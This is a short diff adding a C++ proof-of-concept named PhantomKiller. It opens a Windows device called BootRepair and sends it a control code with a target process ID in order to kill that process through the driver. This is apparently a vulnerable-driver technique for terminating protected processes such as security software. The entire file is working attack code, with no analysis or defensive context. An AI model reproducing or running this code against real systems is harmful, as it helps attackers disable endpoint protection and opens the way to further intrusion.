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PhantomKiller.cpp

@@ -0,0 +1,25 @@
+#include <windows.h>
+#include <stdio.h>
+
+int main(int argc, char* argv[]) {
+    if (argc != 2) {
+        printf("usage: poc.exe <pid>\n");
+        return 1;
+    }
+
+    DWORD pid = atoi(argv[1]);
+    HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    if (h == INVALID_HANDLE_VALUE) {
+        printf("[-] open device failed: %d\n", GetLastError());
+        return 1;
+    }
+
+    DWORD ret;
+    if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))
+        printf("[+] killed %d\n", pid);
+    else
+        printf("[-] ioctl failed: %d\n", GetLastError());
+
+    CloseHandle(h);
+    return 0;
+}